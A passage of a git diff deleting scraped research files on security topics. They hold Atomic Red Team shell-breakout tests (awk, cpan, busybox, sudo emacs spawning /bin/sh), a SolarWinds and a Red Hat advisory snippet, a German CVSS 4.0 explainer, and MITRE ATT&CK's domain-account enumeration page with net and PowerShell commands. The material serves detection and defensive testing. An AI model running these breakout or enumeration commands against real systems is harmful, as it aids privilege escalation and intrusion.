install -y curl\n\nAtomic Test #13: Current kernel information enumeration\n\nAn adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.\n\nSupported Platforms: Linux\n\nauto_generated_guid: 3a53734a-9e26-4f4b-ad15-059e767f5f14\n\nAttack Commands: Run with sh !\n\nuname -srm\n\nAtomic Test #14: Shell Creation using awk command\n\nIn awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command.\nReference - https://gtfobins.github.io/gtfobins/awk/#shell\n\nSupported Platforms: Linux, macOS\n\nauto_generated_guid: ee72b37d-b8f5-46a5-a9e7-0ff50035ffd5\n\nAttack Commands: Run with sh !\n\nawk 'BEGIN {system(\"/bin/sh \u0026\")}'\n\nAtomic Test #15: Creating shell using cpan command\n\ncpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell.\nReference - https://gtfobins.github.io/gtfobins/cpan/\n\nSupported Platforms: Linux, macOS\n\nauto_generated_guid: bcd4c2bc-490b-4f91-bd31-3709fe75bbdf\n\nAttack Commands: Run with sh !\n\necho '! exec \"/bin/sh \u0026\"' | PERL_MM_USE_DEFAULT = 1 cpan\n\nAtomic Test #16: Shell Creation using busybox command\n\nBusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell.\nReference - https://gtfobins.github.io/gtfobins/busybox/\n\nSupported Platforms: Linux\n\nauto_generated_guid: ab4d04af-68dc-4fee-9c16-6545265b3276\n\nAttack Commands: Run with sh !\n\nbusybox sh \u0026\n\nAtomic Test #17: emacs spawning an interactive system shell\n\nemacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/\n\nSupported Platforms: Linux, macOS\n\nauto_generated_guid: e0742e38-6efe-4dd4-ba5c-2078095b6156\n\nAttack Commands: Run with sh ! Elevation Required (e.g. root or admin)\n\nsudo emacs -Q -nw --eval '(term \"/bin/sh \u0026\")'\n\nDependencies: Run with bash !\n\nDescription: Check if emacs is installed on the machine.\n\nCheck Prereq Commands\n\nif [ -x \"$( command -v emacs)\" ]; then echo \"emacs is installed\" ; else echo \"emacs is NOT installed\" ; exit 1 ; fi\n\nGet Prereq Commands\n\nwhich apt \u0026\u0026 apt update \u0026\u0026 apt install -y emacs || which pkg \u0026\u0026 pkg update \u0026\u0026 pkg install -y emacs || which brew \u0026\u0026 brew update \u0026\u0026 brew install --quiet emacs\n\nAtomic test(s) for this technique last updated: 2024-08-06 08:03:09 UTC\n\nT1059.003\n\nCommand and Scripting Interpreter: Windows Command Shell\n\nT1059.005\n\nCommand and Scripting Interpreter: Visual Basic", - "content_type": "text/html", - "query": "T1014 / T1059.004 / T1685 aktuelle offizielle Dokumentation Version Support", - "language": "en-US", - "round": 1, - "fetched": true, - "relevant": true, - "relevance": 0.4533333333333333, - "source_quality": "primary", - "source_quality_score": 0.88, - "actionable": true, - "covered_gap_ids": [ - "ADAPTIVE-1" - ], - "assessment_reason": "Volltextmaterial für die Artikelsynthese gesammelt; die fachliche Belegprüfung erfolgt anschließend am generierten Artikel." - } -} diff --git a/data/research-evidence/24586ba88e7dd854dda1f202.json b/data/research-evidence/24586ba88e7dd854dda1f202.json deleted file mode 100644 index b641750..0000000 --- a/data/research-evidence/24586ba88e7dd854dda1f202.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:55:37.1261342Z", - "content_sha256": "d4066923774451f8de67e9ead6d53f0f7b52926af977a3fcc601fb1456d1371f", - "result": { - "title": "SolarWinds Web Help Desk: Update bessert umgehbare Authentifizierung aus", - "url": "https://www.heise.de/news/SolarWinds-Web-Help-Desk-Update-bessert-umgehbare-Authentifizierung-aus-11388191.html", - "snippet": "SolarWinds schließt Sicherheitslücken in Web Help Desk. Eine gilt als kritisch und ermöglicht Angreifern, die Authentifizierung zu umgehen.", - "content": "SolarWinds schließt Sicherheitslücken in Web Help Desk. Eine gilt als kritisch und ermöglicht Angreifern, die Authentifizierung zu umgehen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6206039332426312, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/29dbd09fc3fa93e94f314751.json b/data/research-evidence/29dbd09fc3fa93e94f314751.json deleted file mode 100644 index f4aa4ca..0000000 --- a/data/research-evidence/29dbd09fc3fa93e94f314751.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:43:40.2698986Z", - "content_sha256": "5d7bda80506070fa40bc44f25eaaf858a39e67750c9e2a60b8d297668037e255", - "result": { - "title": "[UPDATE] [mittel] Red Hat Ansible Automation Platform: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1923", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Red Hat Ansible Automation Platform ausnutzen, um Sicherheitsvorkehrungen zu umgehen, Informationen offenzulegen, Daten zu manipulieren und einen Denial-of-Service-Zustand herbeizuführen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Red Hat Ansible Automation Platform ausnutzen, um Sicherheitsvorkehrungen zu umgehen, Informationen offenzulegen, Daten zu manipulieren und einen Denial-of-Service-Zustand herbeizuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6688454339809307, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/2c866e3a999c5a31935b5e2f.json b/data/research-evidence/2c866e3a999c5a31935b5e2f.json deleted file mode 100644 index 4cf9425..0000000 --- a/data/research-evidence/2c866e3a999c5a31935b5e2f.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T22:11:17.4635182Z", - "content_sha256": "71f3feddccc9afc6e951ac6eb9f64d28e144dbddda0b47bc5fa7ce77a2d866cd", - "result": { - "title": "CVSS 4.0 im Schwachstellenmanagement: Angepasste Methodik für IT-Sicherheit | audius", - "url": "https://www.audius.de/de/blog/cvss-40-ein-update-zur-methodik-und-zur-anwendung-im-schwachstellenmanagement", - "snippet": "CVSS 4.0 definiert das Schwachstellenmanagement neu, indem es die Bewertung von IT-Sicherheitslücken deutlich präziser und transparenter gestaltet als die Vorgängerversion 3.1. Die neue Methodik reduziert Fehlalarme und ermöglicht eine gezieltere Priorisierung von Risiken.", - "content": "IT-Security\n\nCVSS 4.0: Ein Update zur Methodik und zur Anwendung im Schwachstellenmanagement\n\n28.04.2026\n\n6 minutes\n\nSecurity\n\nAUTOR AUTHOR\n\nKevin Wildenau\n\nBereichsleiter IT-Consulting \u0026 Solutions\n\n+49 (7151) 369 00 - 387\n\nBiographie\n\nKevin Wildenau ist seit über 7 Jahren Experte im Public Cloud Umfeld. In seiner Funktion als Bereichsleiter IT-Consulting \u0026 Solutions verantwortet er bei audius unter anderem die Bereiche Cloud Consulting und Security Consulting.\n\n+49 (7151) 369 00 - 387\n\nZurück zum Blog\n\nCVSS 4.0 – Mehr Präzision im Schwachstellenmanagement\n\nCVSS 4.0 definiert das Schwachstellenmanagement neu, indem es die Bewertung von IT-Sicherheitslücken deutlich präziser und transparenter gestaltet als die Vorgängerversion 3.1. Die neue Methodik reduziert Fehlalarme und ermöglicht eine gezieltere Priorisierung von Risiken.\n\nDie Einführung zusätzlicher Metriken wie Attack Requirements und die differenzierte Bewertung der Nutzerinteraktion sorgen für realitätsnahe Scores. Unternehmen können so Schwachstellen besser einschätzen und ihre Ressourcen effizienter einsetzen.\n\nDie klare Trennung von Base-, Threat- und Environmental-Scores schafft Nachvollziehbarkeit und unterstützt die Anpassung an individuelle Unternehmensumgebungen. So lassen sich spezifische Sicherheitsmaßnahmen und aktuelle Bedrohungslagen direkt in die Bewertung integrieren.\n\nIm Vergleich zu anderen Modellen wie STRIDE, DREAD oder OSSTMM-RAV bietet CVSS 4.0 eine standardisierte, numerische Grundlage zur Schweregradbewertung, die sich optimal in bestehende Prozesse und Tools einbinden lässt.\n\naudius unterstützt Unternehmen bei der Einführung und Integration von CVSS 4.0 in das Schwachstellenmanagement, um Risiken klar zu identifizieren, zu bewerten und gezielt zu minimieren.\n\nAus\n\nAus\n\nAus\n\nAus\n\nAus\n\nAus\n\nNormaler Abstand nach oben\n\nNormaler Abstand nach unten\n\nMit der Veröffentlichung von CVSS 4.0 erhält das Schwachstellenmanagement einen angepassten Standard, der die Bewertung und Priorisierung von IT-Sicherheitslücken auf ein neues Niveau hebt. Unternehmen, die auf eine effektive Steuerung und gezielte Risikominimierung setzen, profitieren von der verbesserten Granularität und Transparenz des Common Vulnerability Scoring System (CVSS). Im Folgenden erläutern wir, warum das Update für Ihr Schwachstellenmanagement relevant ist, wie die neuen Metriken funktionieren und wie Sie CVSS 4.0 strategisch für Ihre IT-Sicherheit einsetzen.\n\nAus\n\nAus\n\nAus\n\nCVSS 4.0 präzisiert das Schwachstellenmanagement\n\nNormaler Abstand nach oben\n\nNormaler Abstand nach unten\n\nSchwachstellen zu identifizieren, effizient zu bewerten und zu priorisieren ist als Herausforderung so alt wie das Schwachstellenmanagement selbst und die Korrektur und Anpassung der Methoden notwendig. CVSS 4.0 adressiert die Defizite der bisherigen Version 3.1, indem es eine differenzierte und realitätsnähere Bewertung ermöglicht. Während CVSS 3.1 oftmals zu einer Inflation hoher Scores führte, sorgt die neue Version durch feinere Metrikgruppen und eine klarere Trennung der Einflussfaktoren für mehr Präzision - ein entscheidender Vorteil im täglichen Schwachstellenmanagement.\n\nAus\n\nAus\n\nAus\n\nStruktur und Nomenklatur der Bewertungsgruppen im CVSS 4.0\n\nNormaler Abstand nach oben\n\nNormaler Abstand nach unten\n\nEin wesentliches Merkmal von CVSS 4.0 ist die strikte Trennung der Einflussfaktoren. Um die Datenherkunft eines Scores transparent zu machen, wird eine spezifische Nomenklatur verwendet:\n\nCVSS-B (Base Score): Bildet die intrinsischen Eigenschaften einer Schwachstelle ab. Er ist über die Zeit und über verschiedene Umgebungen hinweg konstant.\n\nCVSS-BT (Base + Threat): Integriert die Exploit Maturity. Hier wird bewertet, ob für die Schwachstelle bereits funktionstüchtiger Exploit-Code existiert oder ob die Ausnutzung rein theoretisch ist.\n\nCVSS-BE (Base + Environmental): Ermöglicht es Unternehmen, den Score an ihre spezifische Infrastruktur anzupassen (z. B. durch vorhandene Sicherheitskontrollen wie Firewalls oder Air-Gaps).\n\nCVSS-BTE (Base + Threat + Environmental): Stellt den umfassendsten Wert dar und sollte die primäre Basis für operative Patch-Entscheidungen bilden.\n\nAus\n\nAus\n\nAus\n\nVertiefung der technischen Metriken: Mehr Präzision für das Schwachstellenmanagement\n\nNormaler Abstand nach oben\n\nNormaler Abstand nach unten\n\nMit CVSS 4.0 werden neue Metriken eingeführt, die die Bewertung von Schwachstellen noch genauer machen.\n\nAttack Requirements (AT) vs. Attack Complexity (AC)\n\nIn CVSS 3.1 wurden externe Bedingungen oft fälschlicherweise unter \"Attack Complexity\" subsumiert. CVSS 4.0 trennt dies:\n\nAttack Complexity (AC): Misst den technischen Aufwand zur Umgehung von Schutzmechanismen (z. B. ASLR oder Verschlüsselung).\n\nAttack Requirements (AT): Erfasst spezifische Deployment-Szenarien, die ein Angreifer nicht kontrollieren kann (z. B. eine erforderliche, nicht standardmäßige Software-Konfiguration). Sind diese Anforderungen hoch, sinkt der Score.\n\nUser Interaction (UI)\n\nDie Unterscheidung zwischen Passive (P) und Active (A) Interaktion erhöht die Genauigkeit bei Client-Side-Schwachstellen. Während ein passiver Angriff (z. B. das reine Laden eines Bildes) kritischer bewertet wird, senkt eine erforderliche aktive Handlung (z. B. das bewusste Akzeptieren mehrerer Sicherheitswarnungen) die Priorität.\n\nSupplemental Metrics (Optionale Zusatzwerte)\n\nDiese Werte fließen nicht in die mathematische Formel des Scores ein, bieten aber kritische Metadaten für das Risk-Board:\n\nSafety: Relevanz für die physische Integrität von Personen (kritisch für OT/ICS-Umgebungen).\n\nAutomatable: Bewertung der \"Wurmfähigkeit\" für automatisierte Massenangriffe.\n\nRecovery: Zeitaufwand und Komplexität der Wiederherstellung (Resilienz-Faktor).\n\nAus\n\nAus\n\nAus\n\nCVSS 4.0 im Vergleich zu anderen Modellen des Schwachstellenmanagements\n\nNormaler Abstand nach oben\n\nNormaler Abstand nach unten\n\nCVSS 4.0 ist ein Instrument zur Bewertung bekannter Schwachstellen (Vulnerabilities). Es muss jedoch von Modellen abgegrenzt werden, die bereits in der Designphase oder zur allgemeinen Risikoquantifizierung eingesetzt werden.\n\nSTRIDE: Identifikation von Bedrohungskategorien\n\nSTRIDE ist ein von Microsoft entwickeltes Modell für das Threat Modeling während der Softwareentwicklung.\n\nS poofing (Identitätsvortäuschung)\n\nT ampering (Manipulation von Daten)\n\nR epudiation (Abstreitbarkeit)\n\nI nformation Disclosure (Informationsenthüllung)\n\nD enial of Service (Dienstverweigerung)\n\nE levation of Privilege (Rechteausweitung)\n\nVerhältnis zu CVSS 4.0: STRIDE findet die potenziellen Schwachstellen in der Architektur, bevor Code geschrieben wird. CVSS 4.0 bewertet diese erst, wenn sie als reale Fehler im fertigen Produkt identifiziert wurden.\n\nDREAD: Die subjektive Risiko-Matrix\n\nDREAD dient der Priorisierung identifizierter Risiken anhand von fünf Kategorien:\n\nDamage Potential: Wie hoch ist der Schaden?\n\nReproducibility: Wie einfach lässt sich der Angriff wiederholen?\n\nExploitability: Wie viel Aufwand erfordert der Exploit?\n\nAffected Users: Wie viele Anwender sind betroffen?\n\nDiscoverability: Wie leicht ist die Lücke zu finden?\n\nVerhältnis zu CVSS 4.0: DREAD ist stark qualitativ und oft subjektiv (Skala 1–10 pro Kategorie). Während CVSS 4.0 eine globale Vergleichbarkeit anstrebt, ist DREAD ein internes Werkzeug zur schnellen, aber weniger standardisierten Risikoeinschätzung.\n\nOSSTMM-RAV: Operative Metrik der Angriffsfläche\n\nDas Open Source Security Testing Methodology Manual nutzt den Risk Assessment Value (RAV). Im Gegensatz zu CVSS bewertet RAV nicht die Lücke, sondern die Operative Sicherheit.\n\nFokus: Es berechnet die \"Porosity\" einer Angriffsfläche und wie die Separation durch Controls kompensiert wird und welche Limitierungen den RAV schwächen\n\nVerhältnis zu CVSS 4.0: CVSS liefert einen Input-Wert für die Schwere einer Lücke. Der RAV-Wert gibt an, wie viel Security das Gesamtsystem dieser Lücke entgegensetzt.\n\nAus\n\nAus\n\nAus\n\nVergleichende Analyse der Anwendungsbereiche\n\nNormaler Abstand nach oben\n\nNormaler Abstand nach unten\n\nMerkmal\n\nCVSS 4.0\n\nSTRIDE\n\nDREAD\n\nOSSTMM-RAV\n\nPrimärziel\n\nSchweregrad-Bewertung\n\nBedrohungssuche\n\nRisiko-Priorisierung\n\nObjektive Quantifizierung\n\nLebenszyklus\n\nBetrieb / Incident Response\n\nDesign / Entwicklung\n\nEntwicklung / Audit\n\nOperativer Betrieb\n\nStandardisierung\n\nHoch (Globaler Standard)\n\nMittel (Kategorien)\n\nGering (Subjektiv)\n\nHoch (Methodik)\n\nErgebnis\n\nNumerischer Score (0-10)\n\nBedrohungsliste\n\nPrioritäts-Ranking\n\nRAV\n\nAus\n\nAus\n\nAus\n\nStrategische Empfehlungen für Ihr Schwachstellenmanagement\n\nNormaler Abstand nach oben\n\nNormaler Abstand nach unten\n\nDie Einführung von CVSS 4.0 erzwingt einen Paradigmenwechsel im Schwachstellenmanagement. Die reine Orientierung am technischen Base Score ist unter den neuen Anforderungen nicht mehr zeitgemäß.\n\nKontextualisierung: Organisationen müssen die Environmental-Metriken nutzen, um ihre spezifischen Sicherheitskontrollen einzupreisen. Dies verhindert eine Überlastung der Teams durch \"False Positives\" mit hohem Base Score.\n\nDatenintegration: Die Threat-Metrik erfordert die Integration von Threat-Intelligence-Feeds, um tagesaktuelle Informationen über die Exploit-Verfügbarkeit zu erhalten.\n\nKomplementärer Einsatz: CVSS 4.0 sollte als Teil einer Kette verstanden werden. STRIDE identifiziert Gefahren, CVSS bewertet die Schwere der Funde, und OSSTMM validiert die Effektivität der Gegenmaßnahmen.\n\nDurch die höhere Trennschärfe und die Einbeziehung funktionaler Sicherheit (Safety) wird CVSS 4.0 zu einem präzisen Steuerungsinstrument, das die Lücke zwischen technischer Analyse und geschäftlicher Risikobewertung schließt.\n\nAus\n\nAus\n\nAus\n\nWie audius Sie beim Schwachstellenmanagement unterstützt\n\nNormaler Abstand nach oben\n\nNormaler Abstand nach unten\n\nWir bei audius begleiten Sie auf dem Weg zu einem modernen und effektiven Schwachstellenmanagement. Unsere Experten unterstützen Sie bei der Implementierung von CVSS 4.0, der Integration in Ihre bestehenden Prozesse und der optimalen Nutzung aller neuen Metriken. Durch unsere umfassenden Security-Services – von Security-Checks und Penetrationstests bis zur strategischen Beratung – helfen wir Ihnen, Risiken gezielt zu erkennen, zu bewerten und zu minimieren. Profitieren Sie von unserer Erfahrung, unserem Fachwissen und unserer partnerschaftlichen Zusammenarbeit, um Ihre IT-Sicherheit nachhaltig zu stärken.\n\nFAQs\n\nNormaler Abstand nach oben\n\nNormaler Abstand nach unten\n\nWorin unterscheidet sich CVSS 4.0 von CVSS 3.1?\n\nCVSS 4.0 unterscheidet sich von CVSS 3.1 vor allem durch eine feinere Granularität und eine klarere Trennung der Einflussfaktoren. Neue Metriken wie Attack Requirements und die differenzierte Bewertung von Nutzerinteraktionen ermöglichen eine realistischere Einschätzung von Schwachstellen. Zudem wird die Einbeziehung von Umgebungsfaktoren transparenter, sodass Risiken gezielter priorisiert und Fehlalarme reduziert werden können.\n\nWie setze ich CVSS 4.0 konkret im Schwachstellenmanagement ein?\n\nCVSS 4.0 wird im Schwachstellenmanagement eingesetzt, um Schwachstellen differenzierter zu bewerten und passgenau zu priorisieren. Durch die Integration von Environmental-Metriken lassen sich individuelle Sicherheitsmaßnahmen berücksichtigen. Die Einbindung aktueller Bedrohungsinformationen erhöht die Aussagekraft, sodass Patch-Entscheidungen gezielter getroffen und Ressourcen effizienter eingesetzt werden können.\n\nWie berechne ich einen CVSS Score mit CVSS 4.0?\n\nDie Berechnung eines CVSS-Scores mit Version 4.0 erfolgt, indem zunächst die technischen Eigenschaften der Schwachstelle bewertet werden. Anschließend kann die Bedrohungslage durch verfügbare Exploits ergänzt und der Score auf die eigene Infrastruktur angepasst werden. Das Ergebnis ist ein präziser, kontextbezogener Wert, der als Grundlage für weitere Sicherheitsmaßnahmen dient.\n\nAus\n\nAus\n\nSecurity Check \u0026 Pentest\n\nSchützen Sie Ihre IT-Infrastruktur mit unserem umfassenden Security Check \u0026 Pentest. Vom schnellen Schutzbedarfs-Check bis zu professionellen Penetrationstests analysieren wir Prozesse, Systeme und Cloud-Services, decken Schwachstellen auf und geben praxisnahe Empfehlungen – für maximale Sicherheit und Compliance.\n\nMehr ›", - "content_type": "text/html", - "query": "Welche Rolle spielt CVSS 4.0 bei der Priorisierung von Sicherheitsrisiken in der Praxis?", - "language": "de-DE", - "round": 1, - "fetched": true, - "relevant": true, - "relevance": 0.9400000000000001, - "source_quality": "reputable_secondary", - "source_quality_score": 0.8240000000000001, - "actionable": true, - "covered_gap_ids": [ - "AR-d1cab195-2" - ], - "assessment_reason": "Der Artikel beschreibt CVSS 4.0 ausführlich, insbesondere die neuen Metriken, die präzisere Bewertung und die Anwendung im Schwachstellenmanagement. Er erklärt, wie CVSS 4.0 die Priorisierung von Risiken in der Praxis verbessert. Der Inhalt ist direkt relevant und fachlich verlässlich." - } -} diff --git a/data/research-evidence/2eb1da30e8d307cd88af2cc0.json b/data/research-evidence/2eb1da30e8d307cd88af2cc0.json deleted file mode 100644 index 042f85c..0000000 --- a/data/research-evidence/2eb1da30e8d307cd88af2cc0.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T03:35:48.4741362Z", - "content_sha256": "2e5644e97389bca8dff2271959e70604d60a893b27678d4e61158cc6eabb41f7", - "result": { - "title": "Account Discovery: Domain Account, Sub-technique T1087.002 - Enterprise | MITRE ATT\u0026CK®", - "url": "https://attack.mitre.org/techniques/T1087/002/", - "snippet": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges · Commands such as net user /domain and net group /domain ...", - "content": "Account Discovery: Domain Account, Sub-technique T1087.002 - Enterprise | MITRE ATT\u0026CK®\n\nATT\u0026CKcon 7.0 in-person tickets are open! Join us October 27-28, 2026 in McLean, VA. Register here for in-person tickets; hotel and location details can be found in the FAQ .\n\nHome\n\nTechniques\n\nEnterprise\n\nAccount Discovery\n\nDomain Account\n\nAccount Discovery:\nDomain Account\n\nOther sub-techniques of Account Discovery\n(4)\n\nID\n\nName\n\nT1087.001\n\nLocal Account\n\nT1087.002\n\nDomain Account\n\nT1087.003\n\nEmail Account\n\nT1087.004\n\nCloud Account\n\nAdversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as net user /domain and net group /domain of the Net utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain users and groups. PowerShell cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups. [1]\n\nID: T1087.002\n\nSub-technique of:\nT1087\n\nTactic:\nDiscovery\n\nPlatforms: Linux, Windows, macOS\n\nContributors: ExtraHop; Miriam Wiesner, @miriamxyra, Microsoft Security\n\nVersion: 1.2\n\nCreated: 21 February 2020\n\nLast Modified: 12 May 2026\n\nVersion Permalink\n\nLive Version\n\nProcedure Examples\n\nID\n\nName\n\nDescription\n\nS0552\n\nAdFind\n\nAdFind can enumerate domain users. [2] [3] [4] [5] [6]\n\nG0096\n\nAPT41\n\nAPT41 used built-in net commands to enumerate domain administrator users. [7]\n\nS0239\n\nBankshot\n\nBankshot gathers domain and account names/information through process monitoring. [8]\n\nS0534\n\nBazar\n\nBazar has the ability to identify domain administrator accounts. [9] [10]\n\nG1043\n\nBlackByte\n\nBlackByte has used tools such as AdFind to identify and enumerate domain accounts. [11]\n\nS1068\n\nBlackCat\n\nBlackCat can utilize net use commands to identify domain users. [12]\n\nS0521\n\nBloodHound\n\nBloodHound can collect information about domain users, including identification of domain admin accounts. [13]\n\nS0635\n\nBoomBox\n\nBoomBox has the ability to execute an LDAP query to enumerate the distinguished name, SAM account name, and display name for all domain users. [14]\n\nG0060\n\nBRONZE BUTLER\n\nBRONZE BUTLER has used net user /domain to identify account information. [15]\n\nS1063\n\nBrute Ratel C4\n\nBrute Ratel C4 can use LDAP queries, net group \"Domain Admins\" /domain and net user /domain for discovery. [16] [17]\n\nG0114\n\nChimera\n\nChimera has has used net user /dom and net user Administrator to enumerate domain accounts including administrator accounts. [18] [19]\n\nS0154\n\nCobalt Strike\n\nCobalt Strike can determine if the user on an infected machine is in the admin or domain admin group. [20]\n\nS0488\n\nCrackMapExec\n\nCrackMapExec can enumerate the domain user accounts on a targeted system. [21]\n\nG0035\n\nDragonfly\n\nDragonfly has used batch scripts to enumerate users on a victim domain controller. [22]\n\nS0105\n\ndsquery\n\ndsquery can be used to gather information on user accounts within a domain. [23] [24]\n\nS1159\n\nDUSTTRAP\n\nDUSTTRAP can enumerate domain accounts. [25]\n\nS0363\n\nEmpire\n\nEmpire can acquire local and domain user account information. [26] [27]\n\nG1016\n\nFIN13\n\nFIN13 can identify user accounts associated with a Service Principal Name and query Service Principal Names within the domain by utilizing the following scripts: GetUserSPNs.vbs and querySpn.vbs . [28] [29]\n\nG0037\n\nFIN6\n\nFIN6 has used Metasploit’s PsExec NTDSGRAB module to obtain a copy of the victim's Active Directory database. [30]\n\nG0046\n\nFIN7\n\nFIN7 has used the PowerShell script 3CF9.ps1 and the executable WsTaskLoad to enumerate domain administrations by executing net group \"Domain Admins\" /domain . [31] FIN7 has also used csvde.exe, which is a built-in Windows command line tool, to export Active Directory information.\n\nG0117\n\nFox Kitten\n\nFox Kitten has used the Softerra LDAP browser to browse documentation on service accounts. [32]\n\nS1022\n\nIceApple\n\nThe IceApple Active Directory Querier module can perform authenticated requests against an Active Directory server. [33]\n\nS0483\n\nIcedID\n\nIcedID can query LDAP and can use built-in net commands to identify additional users on the network to infect. [34] [35]\n\nG1032\n\nINC Ransom\n\nINC Ransom has scanned for domain admin accounts in compromised environments. [36]\n\nG0004\n\nKe3chang\n\nKe3chang performs account discovery using commands such as net localgroup administrators and net group \"REDACTED\" /domain on specific permissions groups. [37]\n\nS9035\n\nLAMEHUG\n\nLAMEHUG can use dsquery to enumerate domain user information. [38]\n\nG1004\n\nLAPSUS$\n\nLAPSUS$ has used the AD Explorer tool to enumerate users on a victim's network. [39] [40]\n\nS1160\n\nLatrodectus\n\nLatrodectus can run C:\\Windows\\System32\\cmd.exe /c net group \"Domain Admins\" /domain to identify domain administrator accounts. [41]\n\nG0030\n\nLotus Blossom\n\nLotus Blossom has used net commands and tools such as AdFind to profile domain accounts associated with victim machines and make Active Directory queries. [42] [43]\n\nG0045\n\nmenuPass\n\nmenuPass has used the Microsoft administration tool csvde.exe to export Active Directory data. [44]\n\nS1146\n\nMgBot\n\nMgBot includes modules for collecting information on Active Directory domain accounts. [45]\n\nG1054\n\nMirrorFace\n\nMirrorFace has used native Windows tools to obtain domain user information. [46]\n\nG0069\n\nMuddyWater\n\nMuddyWater has used cmd.exe net user /domain to enumerate domain users. [47]\n\nG0129\n\nMustang Panda\n\nMustang Panda has utilized AdFind to identify domain users. [48]\n\nS0039\n\nNet\n\nNet commands used with the /domain flag can be used to gather information about and manipulate user accounts on the current domain. [49]\n\nG0049\n\nOilRig\n\nOilRig has run net user , net user /domain , net group \"domain admins\" /domain , and net group \"Exchange Trusted Subsystem\" /domain to get account listings on a victim. [50]\n\nC0012\n\nOperation CuckooBees\n\nDuring Operation CuckooBees , the threat actors used the dsquery and dsget commands to get domain environment information and to query users in administrative groups. [51]\n\nC0022\n\nOperation Dream Job\n\nDuring Operation Dream Job , Lazarus Group queried compromised victim's active directory servers to obtain the list of employees including administrator accounts. [52]\n\nC0014\n\nOperation Wocao\n\nDuring Operation Wocao , threat actors used the net command to retrieve information about domain accounts. [53]\n\nS0165\n\nOSInfo\n\nOSInfo enumerates local and domain users [54]\n\nG0033\n\nPoseidon Group\n\nPoseidon Group searches for administrator accounts on both the local victim machine and the network. [55]\n\nS0378\n\nPoshC2\n\nPoshC2 can enumerate local and domain user account information. [56]\n\nS0184\n\nPOWRUNER\n\nPOWRUNER may collect user account information by running net user /domain or a series of other commands on a victim. [57]\n\nS1242\n\nQilin\n\nQilin can use PowerShell cmdlets to enumerate domain users. [58]\n\nG1039\n\nRedCurl\n\nRedCurl has collected information about domain accounts using SysInternal’s AdExplorer functionality . [59] [60]\n\nS9037\n\nRustyWater\n\nRustyWater has gathered the domain membership of the victim machine’s user. [61]\n\nG0034\n\nSandworm Team\n\nSandworm Team has used a tool to query Active Directory using LDAP, discovering information about usernames listed in AD. [62]\n\nG1015\n\nScattered Spider\n\nScattered Spider has enumerated legitimate domain accounts which are used in the targeted environment. [63] [64] [65] [66]\n\nS0692\n\nSILENTTRINITY\n\nSILENTTRINITY can use System.Security.AccessControl namespaces to retrieve domain user information. [67]\n\nC0024\n\nSolarWinds Compromise\n\nDuring the SolarWinds Compromise , APT29 used PowerShell to discover domain accounts by exectuing Get-ADUser and Get-ADGroupMember . [1] [68]\n\nS0516\n\nSoreFang\n\nSoreFang can enumerate domain accounts via net.exe user /domain . [69]\n\nG1053\n\nStorm-0501\n\nStorm-0501 has utilized an obfuscated version of the Active Directory reconnaissance tool ADRecon.ps1 (obfs.ps1 or recon.ps1) to discover domain accounts. [70]\n\nG1046\n\nStorm-1811\n\nStorm-1811 has performed domain account enumeration during intrusions. [71]\n\nS0603\n\nStuxnet\n\nStuxnet enumerates user accounts of the domain. [72]\n\nS0018\n\nSykipot\n\nSykipot may use net group \"domain admins\" /domain to display accounts in the \"domain admins\" permissions group and net localgroup \"administrators\" to list local system administrator group membership. [73]\n\nG1022\n\nToddyCat\n\nToddyCat has run net user %USER% /dom for account discovery. [74]\n\nG0010\n\nTurla\n\nTurla has used net user /domain to enumerate domain accounts. [75]\n\nS0476\n\nValak\n\nValak has the ability to enumerate domain admin accounts. [76]\n\nG1055\n\nVOID MANTICORE\n\nVOID MANTICORE has utilized ADRecon to enumerate the active directory environment. [77]\n\nG1017\n\nVolt Typhoon\n\nVolt Typhoon has run net group /dom and net group \"Domain Admins\" /dom in compromised environments for account discovery. [78] [79]\n\nG0102\n\nWizard Spider\n\nWizard Spider has identified domain admins through the use of net group \"Domain admins\" /DOMAIN . Wizard Spider has also leveraged the PowerShell cmdlet Get-ADComputer to collect account names from Active Directory data. [10] [80]\n\nMitigations\n\nID\n\nMitigation\n\nDescription\n\nM1028\n\nOperating System Configuration\n\nPrevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located at HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators . It can be disabled through GPO: Computer Configuration \u003e [Policies] \u003e Administrative Templates \u003e Windows Components \u003e Credential User Interface: Enumerate administrator accounts on elevation. [81]\n\nDetection Strategy\n\nID\n\nName\n\nAnalytic ID\n\nAnalytic Description\n\nDET0129\n\nDomain Account Enumeration Across Platforms\n\nAN0363\n\nAdversary enumeration of domain accounts using net.exe, PowerShell, WMI, or LDAP queries from non-domain controllers or non-admin endpoints.\n\nAN0364\n\nDomain account enumeration using 